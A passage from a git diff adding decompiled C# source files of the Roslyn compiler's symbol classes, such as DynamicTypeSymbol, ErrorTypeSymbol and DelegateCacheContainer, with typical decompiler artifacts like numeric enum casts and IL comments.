bool HasIsExternalInitModifier(this ImmutableArray modifiers) + { + return modifiers.Any((CustomModifier modifier) => !modifier.IsOptional && ((CSharpCustomModifier)(object)modifier).ModifierSymbol.IsWellKnownTypeIsExternalInit()); + } + + internal static bool HasOutAttributeModifier(this ImmutableArray modifiers) + { + return modifiers.Any((CustomModifier modifier) => !modifier.IsOptional && ((CSharpCustomModifier)(object)modifier).ModifierSymbol.IsWellKnownTypeOutAttribute()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/DelegateCacheContainer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/DelegateCacheContainer.cs new file mode 100644 index 0000000..9ee2d8e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/DelegateCacheContainer.cs @@ -0,0 +1,97 @@ +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class DelegateCacheContainer : SynthesizedContainer +{ + private sealed class CLRSignatureComparer : IEqualityComparer<(TypeSymbol? constrainedToTypeOpt, TypeSymbol delegateType, MethodSymbol targetMethod)> + { + public static readonly CLRSignatureComparer Instance = new CLRSignatureComparer(); + + public bool Equals((TypeSymbol? constrainedToTypeOpt, TypeSymbol delegateType, MethodSymbol targetMethod) x, (TypeSymbol? constrainedToTypeOpt, TypeSymbol delegateType, MethodSymbol targetMethod) y) + { + EqualityComparer cLRSignature = SymbolEqualityComparer.CLRSignature; + if (cLRSignature.Equals(x.delegateType, y.delegateType) && cLRSignature.Equals(x.targetMethod, y.targetMethod)) + { + return cLRSignature.Equals(x.constrainedToTypeOpt, y.constrainedToTypeOpt); + } + return false; + } + + public int GetHashCode((TypeSymbol? constrainedToTypeOpt, TypeSymbol delegateType, MethodSymbol targetMethod) conversion) + { + EqualityComparer cLRSignature = SymbolEqualityComparer.CLRSignature; + int num = Hash.Combine(cLRSignature.GetHashCode(conversion.delegateType), cLRSignature.GetHashCode(conversion.targetMethod)); + var (typeSymbol, _, _) = conversion; + if ((object)typeSymbol != null) + { + num = Hash.Combine(num, cLRSignature.GetHashCode(typeSymbol)); + } + return num; + } + } + + private readonly Symbol _containingSymbol; + + private readonly NamedTypeSymbol? _constructedContainer; + + private readonly Dictionary<(TypeSymbol?, TypeSymbol, MethodSymbol), FieldSymbol> _delegateFields = new Dictionary<(TypeSymbol, TypeSymbol, MethodSymbol), FieldSymbol>(CLRSignatureComparer.Instance); + + public override Symbol ContainingSymbol => _containingSymbol; + + public override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/DelegateCacheContainer.cs", 42); + } + } + + public override TypeKind TypeKind => (TypeKind)2; + + public override bool IsStatic => true; + + internal override bool IsRecord => false; + + internal override bool IsRecordStruct => false; + + internal DelegateCacheContainer(TypeSymbol containingType, int generationOrdinal) + : base(GeneratedNames.DelegateCacheContainerType(generationOrdinal), null) + { + _containingSymbol = containingType; + } + + internal DelegateCacheContainer(MethodSymbol ownerMethod, int topLevelMethodOrdinal, int ownerUniqueId, int generationOrdinal) + : base(GeneratedNames.DelegateCacheContainerType(generationOrdinal, ownerMethod.Name, topLevelMethodOrdinal, ownerUniqueId), ownerMethod) + { + _containingSymbol = ownerMethod.ContainingType; + _constructedContainer = Construct(base.ConstructedFromTypeParameters); + } + + internal override bool HasPossibleWellKnownCloneMethod() + { + return false; + } + + internal FieldSymbol GetOrAddCacheField(SyntheticBoundNodeFactory factory, BoundDelegateCreationExpression boundDelegateCreation) + { + MethodSymbol methodOpt = boundDelegateCreation.MethodOpt; + TypeSymbol type = boundDelegateCreation.Type; + TypeSymbol item = (((methodOpt.IsAbstract || methodOpt.IsVirtual) && boundDelegateCreation.Argument is BoundTypeExpression boundTypeExpression) ? boundTypeExpression.Type : null); + if (_delegateFields.TryGetValue((item, type, methodOpt), out FieldSymbol value)) + { + return value; + } + TypeSymbol type2 = (TypeParameters.IsEmpty ? type : base.TypeMap.SubstituteType(type).Type); + string name = GeneratedNames.DelegateCacheContainerFieldName(_delegateFields.Count, methodOpt.Name); + value = new SynthesizedFieldSymbol(this, type2, name, isPublic: true, isReadOnly: false, isStatic: true); + factory.AddField(this, value); + if (!TypeParameters.IsEmpty) + { + value = value.AsMember(_constructedContainer); + } + _delegateFields.Add((item, type, methodOpt), value); + return value; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/DiscardSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/DiscardSymbol.cs new file mode 100644 index 0000000..e51e09c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/DiscardSymbol.cs @@ -0,0 +1,75 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class DiscardSymbol : Symbol +{ + public TypeWithAnnotations TypeWithAnnotations { get; } + + public override Symbol? ContainingSymbol => null; + + public override Accessibility DeclaredAccessibility => (Accessibility)0; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override bool IsAbstract => false; + + public override bool IsExtern => false; + + public override bool IsImplicitlyDeclared => true; + + public override bool IsOverride => false; + + public override bool IsSealed => false; + + public override bool IsStatic => false; + + public override bool IsVirtual => false; + + public override SymbolKind Kind => (SymbolKind)19; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + internal override ObsoleteAttributeData? ObsoleteAttributeData => null; + + public DiscardSymbol(TypeWithAnnotations typeWithAnnotations) + { + TypeWithAnnotations = typeWithAnnotations; + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument a) + { + return visitor.VisitDiscard(this, a); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitDiscard(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitDiscard(this); + } + + public override bool Equals(Symbol? obj, TypeCompareKind compareKind) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (obj is DiscardSymbol discardSymbol) + { + return TypeWithAnnotations.Equals(discardSymbol.TypeWithAnnotations, compareKind); + } + return false; + } + + public override int GetHashCode() + { + return TypeWithAnnotations.GetHashCode(); + } + + protected override ISymbol CreateISymbol() + { + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.DiscardSymbol(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/DynamicTypeEraser.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/DynamicTypeEraser.cs new file mode 100644 index 0000000..de2f677 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/DynamicTypeEraser.cs @@ -0,0 +1,21 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class DynamicTypeEraser : AbstractTypeMap +{ + private readonly TypeSymbol _objectType; + + public DynamicTypeEraser(TypeSymbol objectType) + { + _objectType = objectType; + } + + public TypeSymbol EraseDynamic(TypeSymbol type) + { + return SubstituteType(type).AsTypeSymbolOnly(); + } + + protected override TypeSymbol SubstituteDynamicType() + { + return _objectType; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/DynamicTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/DynamicTypeSymbol.cs new file mode 100644 index 0000000..4c1a6e1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/DynamicTypeSymbol.cs @@ -0,0 +1,178 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class DynamicTypeSymbol : TypeSymbol +{ + internal static readonly DynamicTypeSymbol Instance = new DynamicTypeSymbol(); + + public override string Name => "dynamic"; + + public override bool IsAbstract => false; + + public override bool IsReferenceType => true; + + public override bool IsSealed => false; + + public override SymbolKind Kind => (SymbolKind)3; + + public override TypeKind TypeKind => (TypeKind)4; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + internal override NamedTypeSymbol? BaseTypeNoUseSiteDiagnostics => null; + + public override bool IsStatic => false; + + public override bool IsValueType => false; + + public sealed override bool IsRefLikeType => false; + + public sealed override bool IsReadOnly => false; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => null; + + public override Symbol? ContainingSymbol => null; + + public override Accessibility DeclaredAccessibility => (Accessibility)0; + + internal override bool IsRecord => false; + + internal override bool IsRecordStruct => false; + + private DynamicTypeSymbol() + { + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList? basesBeingResolved) + { + return ImmutableArray.Empty; + } + + internal sealed override ManagedKind GetManagedKind(ref CompoundUseSiteInfo useSiteInfo) + { + return (ManagedKind)3; + } + + public override ImmutableArray GetMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetMembers(string name) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitDynamicType(this, argument); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitDynamicType(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitDynamicType(this); + } + + internal override bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, Symbol owner, ref HashSet checkedTypes) + { + return false; + } + + public override int GetHashCode() + { + return 1; + } + + internal override bool Equals(TypeSymbol? t2, TypeCompareKind comparison) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + if ((object)t2 == null) + { + return false; + } + if ((object)this == t2 || (int)t2.TypeKind == 4) + { + return true; + } + if ((comparison & 2) != 0) + { + if (t2 is NamedTypeSymbol namedTypeSymbol) + { + return (int)namedTypeSymbol.SpecialType == 1; + } + return false; + } + return false; + } + + internal override void AddNullableTransforms(ArrayBuilder transforms) + { + } + + internal override bool ApplyNullableTransforms(byte defaultTransformFlag, ImmutableArray transforms, ref int position, out TypeSymbol result) + { + result = this; + return true; + } + + internal override TypeSymbol SetNullabilityForReferenceTypes(Func transform) + { + return this; + } + + internal override TypeSymbol MergeEquivalentTypes(TypeSymbol other, VarianceKind variance) + { + return this; + } + + protected override ISymbol CreateISymbol() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.DynamicTypeSymbol(this, base.DefaultNullableAnnotation); + } + + protected sealed override ITypeSymbol CreateITypeSymbol(NullableAnnotation nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.DynamicTypeSymbol(this, nullableAnnotation); + } + + internal override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + return SpecializedCollections.EmptyEnumerable<(MethodSymbol, MethodSymbol)>(); + } + + internal override bool HasInlineArrayAttribute(out int length) + { + length = 0; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/EnumConversions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/EnumConversions.cs new file mode 100644 index 0000000..ec4cbd3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/EnumConversions.cs @@ -0,0 +1,31 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class EnumConversions +{ + internal static TypeKind ToTypeKind(this DeclarationKind kind) + { + switch (kind) + { + case DeclarationKind.Class: + case DeclarationKind.Script: + case DeclarationKind.ImplicitClass: + case DeclarationKind.Record: + return (TypeKind)2; + case DeclarationKind.Submission: + return (TypeKind)12; + case DeclarationKind.Delegate: + return (TypeKind)3; + case DeclarationKind.Enum: + return (TypeKind)5; + case DeclarationKind.Interface: + return (TypeKind)7; + case DeclarationKind.Struct: + case DeclarationKind.RecordStruct: + return (TypeKind)10; + default: + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ErrorMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ErrorMethodSymbol.cs new file mode 100644 index 0000000..c8a7468 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ErrorMethodSymbol.cs @@ -0,0 +1,173 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ErrorMethodSymbol : MethodSymbol +{ + public static readonly ErrorMethodSymbol UnknownMethod = new ErrorMethodSymbol(ErrorTypeSymbol.UnknownResultType, ErrorTypeSymbol.UnknownResultType, string.Empty); + + private readonly TypeSymbol _containingType; + + private readonly TypeSymbol _returnType; + + private readonly string _name; + + public override string Name => _name; + + internal sealed override bool HasSpecialName => false; + + internal override MethodImplAttributes ImplementationAttributes => MethodImplAttributes.IL; + + public override bool IsExtern => false; + + public override bool IsSealed => false; + + public override bool IsAbstract => false; + + public override bool IsOverride => false; + + public override bool IsVirtual => false; + + public override bool IsStatic => false; + + public override bool IsAsync => false; + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData => null; + + public override Accessibility DeclaredAccessibility => (Accessibility)6; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override Symbol ContainingSymbol => _containingType; + + internal override CallingConvention CallingConvention => (CallingConvention)0; + + public override Symbol AssociatedSymbol => null; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + internal override bool IsExplicitInterfaceImplementation => false; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + internal override bool IsDeclaredReadOnly => false; + + internal override bool IsInitOnly => false; + + internal override int ParameterCount => 0; + + public override ImmutableArray Parameters => ImmutableArray.Empty; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public override ImmutableArray TypeArgumentsWithAnnotations => ImmutableArray.Empty; + + public override RefKind RefKind => (RefKind)0; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => TypeWithAnnotations.Create(_returnType); + + public override bool ReturnsVoid => base.ReturnType.IsVoidType(); + + public override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override bool IsVararg => false; + + public override bool HidesBaseMethodsByName => false; + + public override bool IsExtensionMethod => false; + + public override int Arity => 0; + + public override MethodKind MethodKind + { + get + { + if (!(_name == ".ctor")) + { + return (MethodKind)10; + } + return (MethodKind)1; + } + } + + internal override bool IsMetadataFinal => false; + + internal sealed override bool RequiresSecurityObject => false; + + public override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ErrorMethodSymbol.cs", 244); + } + } + + internal sealed override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation => null; + + internal sealed override bool HasDeclarativeSecurity => false; + + internal override bool GenerateDebugInfo => false; + + protected override bool HasSetsRequiredMembersImpl => false; + + internal sealed override bool HasUnscopedRefAttribute => false; + + internal sealed override bool UseUpdatedEscapeRules => false; + + public ErrorMethodSymbol(TypeSymbol containingType, TypeSymbol returnType, string name) + { + _containingType = containingType; + _returnType = returnType; + _name = name; + } + + internal sealed override UnmanagedCallersOnlyAttributeData GetUnmanagedCallersOnlyAttributeData(bool forceComplete) + { + return null; + } + + internal sealed override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + public sealed override DllImportData GetDllImportData() + { + return null; + } + + internal sealed override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal sealed override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ErrorMethodSymbol.cs", 264); + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ErrorMethodSymbol.cs", 269); + } + + internal sealed override bool IsNullableAnalysisEnabled() + { + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ErrorPropertySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ErrorPropertySymbol.cs new file mode 100644 index 0000000..82cf1c9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ErrorPropertySymbol.cs @@ -0,0 +1,78 @@ +using System.Collections.Immutable; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ErrorPropertySymbol : PropertySymbol +{ + private readonly Symbol _containingSymbol; + + private readonly TypeWithAnnotations _typeWithAnnotations; + + private readonly string _name; + + private readonly bool _isIndexer; + + private readonly bool _isIndexedProperty; + + public override Symbol ContainingSymbol => _containingSymbol; + + public override RefKind RefKind => (RefKind)0; + + public override TypeWithAnnotations TypeWithAnnotations => _typeWithAnnotations; + + public override string Name => _name; + + internal override bool HasSpecialName => false; + + public override bool IsIndexer => _isIndexer; + + public override bool IsIndexedProperty => _isIndexedProperty; + + public override MethodSymbol GetMethod => null; + + public override MethodSymbol SetMethod => null; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override Accessibility DeclaredAccessibility => (Accessibility)0; + + public override bool IsStatic => false; + + public override bool IsVirtual => false; + + public override bool IsOverride => false; + + public override bool IsAbstract => false; + + public override bool IsSealed => false; + + public override bool IsExtern => false; + + internal override bool IsRequired => false; + + internal sealed override bool HasUnscopedRefAttribute => false; + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData => null; + + public override ImmutableArray Parameters => ImmutableArray.Empty; + + internal override CallingConvention CallingConvention => (CallingConvention)0; + + internal override bool MustCallMethodsDirectly => false; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public ErrorPropertySymbol(Symbol containingSymbol, TypeSymbol type, string name, bool isIndexer, bool isIndexedProperty) + { + _containingSymbol = containingSymbol; + _typeWithAnnotations = TypeWithAnnotations.Create(type); + _name = name; + _isIndexer = isIndexer; + _isIndexedProperty = isIndexedProperty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ErrorTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ErrorTypeSymbol.cs new file mode 100644 index 0000000..fdf93f5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ErrorTypeSymbol.cs @@ -0,0 +1,392 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class ErrorTypeSymbol : NamedTypeSymbol +{ + protected sealed class ErrorTypeParameterSymbol : TypeParameterSymbol + { + private readonly ErrorTypeSymbol _container; + + private readonly string _name; + + private readonly int _ordinal; + + public override string Name => _name; + + public override TypeParameterKind TypeParameterKind => (TypeParameterKind)0; + + public override Symbol ContainingSymbol => _container; + + public override bool HasConstructorConstraint => false; + + public override bool HasReferenceTypeConstraint => false; + + public override bool IsReferenceTypeFromConstraintTypes => false; + + internal override bool? ReferenceTypeConstraintIsNullable => false; + + public override bool HasNotNullConstraint => false; + + internal override bool? IsNotNullable => null; + + public override bool HasValueTypeConstraint => false; + + public override bool IsValueTypeFromConstraintTypes => false; + + public override bool HasUnmanagedTypeConstraint => false; + + public override int Ordinal => _ordinal; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override VarianceKind Variance => (VarianceKind)0; + + public override bool IsImplicitlyDeclared => true; + + public ErrorTypeParameterSymbol(ErrorTypeSymbol container, string name, int ordinal) + { + _container = container; + _name = name; + _ordinal = ordinal; + } + + internal override void EnsureAllConstraintsAreResolved() + { + } + + internal override ImmutableArray GetConstraintTypes(ConsList inProgress) + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetInterfaces(ConsList inProgress) + { + return ImmutableArray.Empty; + } + + internal override NamedTypeSymbol? GetEffectiveBaseClass(ConsList inProgress) + { + return null; + } + + internal override TypeSymbol? GetDeducedBaseType(ConsList inProgress) + { + return null; + } + + public override int GetHashCode() + { + return Hash.Combine(_container.GetHashCode(), _ordinal); + } + + internal override bool Equals(TypeSymbol? t2, TypeCompareKind comparison) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == t2) + { + return true; + } + if (t2 is ErrorTypeParameterSymbol errorTypeParameterSymbol && errorTypeParameterSymbol._ordinal == _ordinal) + { + return errorTypeParameterSymbol.ContainingType.Equals(ContainingType, comparison); + } + return false; + } + } + + internal static readonly ErrorTypeSymbol UnknownResultType = new UnsupportedMetadataTypeSymbol(); + + private ImmutableArray _lazyTypeParameters; + + internal abstract DiagnosticInfo? ErrorInfo { get; } + + internal virtual LookupResultKind ResultKind => LookupResultKind.Empty; + + public virtual ImmutableArray CandidateSymbols => ImmutableArray.Empty; + + public CandidateReason CandidateReason + { + get + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (!CandidateSymbols.IsEmpty) + { + return ResultKind.ToCandidateReason(); + } + return (CandidateReason)0; + } + } + + public override bool IsReferenceType => true; + + public sealed override bool IsValueType => false; + + public sealed override bool IsRefLikeType => false; + + public sealed override bool IsReadOnly => false; + + public override IEnumerable MemberNames => SpecializedCollections.EmptyEnumerable(); + + internal sealed override bool HasDeclaredRequiredMembers => false; + + public sealed override SymbolKind Kind => (SymbolKind)4; + + public sealed override TypeKind TypeKind => (TypeKind)6; + + internal sealed override bool IsInterface => false; + + public override Symbol? ContainingSymbol => null; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override int Arity => 0; + + public override string Name => string.Empty; + + internal override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => GetTypeParametersAsTypeArguments(); + + public override ImmutableArray TypeParameters + { + get + { + if (_lazyTypeParameters.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyTypeParameters, GetTypeParameters(), default(ImmutableArray)); + } + return _lazyTypeParameters; + } + } + + public override NamedTypeSymbol ConstructedFrom => this; + + public sealed override Accessibility DeclaredAccessibility => (Accessibility)0; + + public sealed override bool IsStatic => false; + + public sealed override bool IsAbstract => false; + + public sealed override bool IsSealed => false; + + internal sealed override bool HasSpecialName => false; + + public sealed override bool MightContainExtensionMethods => false; + + internal override NamedTypeSymbol? BaseTypeNoUseSiteDiagnostics => null; + + internal override bool HasCodeAnalysisEmbeddedAttribute => false; + + internal override bool IsInterpolatedStringHandlerType => false; + + internal sealed override bool ShouldAddWinRTMembers => false; + + internal sealed override bool IsWindowsRuntimeImport => false; + + internal sealed override TypeLayout Layout => default(TypeLayout); + + internal override CharSet MarshallingCharSet => base.DefaultMarshallingCharSet; + + public sealed override bool IsSerializable => false; + + internal sealed override bool HasDeclarativeSecurity => false; + + internal sealed override bool IsComImport => false; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => null; + + internal virtual bool Unreported => false; + + public sealed override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ErrorTypeSymbol.cs", 533); + } + } + + internal override NamedTypeSymbol? NativeIntegerUnderlyingType => null; + + internal sealed override bool IsRecord => false; + + internal override bool IsRecordStruct => false; + + internal TypeWithAnnotations Substitute(AbstractTypeMap typeMap) + { + return TypeWithAnnotations.Create(typeMap.SubstituteNamedType(this)); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return new UseSiteInfo(ErrorInfo); + } + + public override ImmutableArray GetMembers() + { + if (IsTupleType) + { + return MakeSynthesizedTupleMembers(ImmutableArray.Empty).ToImmutableAndFree(); + } + return ImmutableArray.Empty; + } + + public override ImmutableArray GetMembers(string name) + { + return ImmutableArrayExtensions.WhereAsArray(GetMembers(), (Func)((Symbol m, string text) => m.Name == text), name); + } + + internal sealed override IEnumerable GetFieldsToEmit() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ErrorTypeSymbol.cs", 165); + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers() + { + return GetMembersUnordered(); + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers(string name) + { + return GetMembers(name); + } + + public override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArray.Empty; + } + + private ImmutableArray GetTypeParameters() + { + int arity = Arity; + if (arity == 0) + { + return ImmutableArray.Empty; + } + TypeParameterSymbol[] array = new TypeParameterSymbol[arity]; + for (int i = 0; i < arity; i++) + { + array[i] = new ErrorTypeParameterSymbol(this, string.Empty, i); + } + return ImmutableArrayExtensions.AsImmutableOrNull(array); + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitErrorType(this, argument); + } + + internal ErrorTypeSymbol(TupleExtraData? tupleData = null) + : base(tupleData) + { + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList? basesBeingResolved) + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetInterfacesToEmit() + { + return ImmutableArray.Empty; + } + + internal override NamedTypeSymbol? GetDeclaredBaseType(ConsList basesBeingResolved) + { + return null; + } + + internal override ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved) + { + return ImmutableArray.Empty; + } + + protected override NamedTypeSymbol ConstructCore(ImmutableArray typeArguments, bool unbound) + { + return new ConstructedErrorTypeSymbol(this, typeArguments); + } + + internal override NamedTypeSymbol AsMember(NamedTypeSymbol newOwner) + { + if (!newOwner.IsDefinition) + { + return new SubstitutedNestedErrorTypeSymbol(newOwner, this); + } + return this; + } + + internal sealed override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ErrorTypeSymbol.cs", 513); + } + + internal sealed override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return AttributeUsageInfo.Null; + } + + internal override NamedTypeSymbol AsNativeInteger() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ErrorTypeSymbol.cs", 536); + } + + protected sealed override ISymbol CreateISymbol() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.ErrorTypeSymbol(this, base.DefaultNullableAnnotation); + } + + protected sealed override ITypeSymbol CreateITypeSymbol(NullableAnnotation nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.ErrorTypeSymbol(this, nullableAnnotation); + } + + internal sealed override bool HasPossibleWellKnownCloneMethod() + { + return false; + } + + internal sealed override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + return 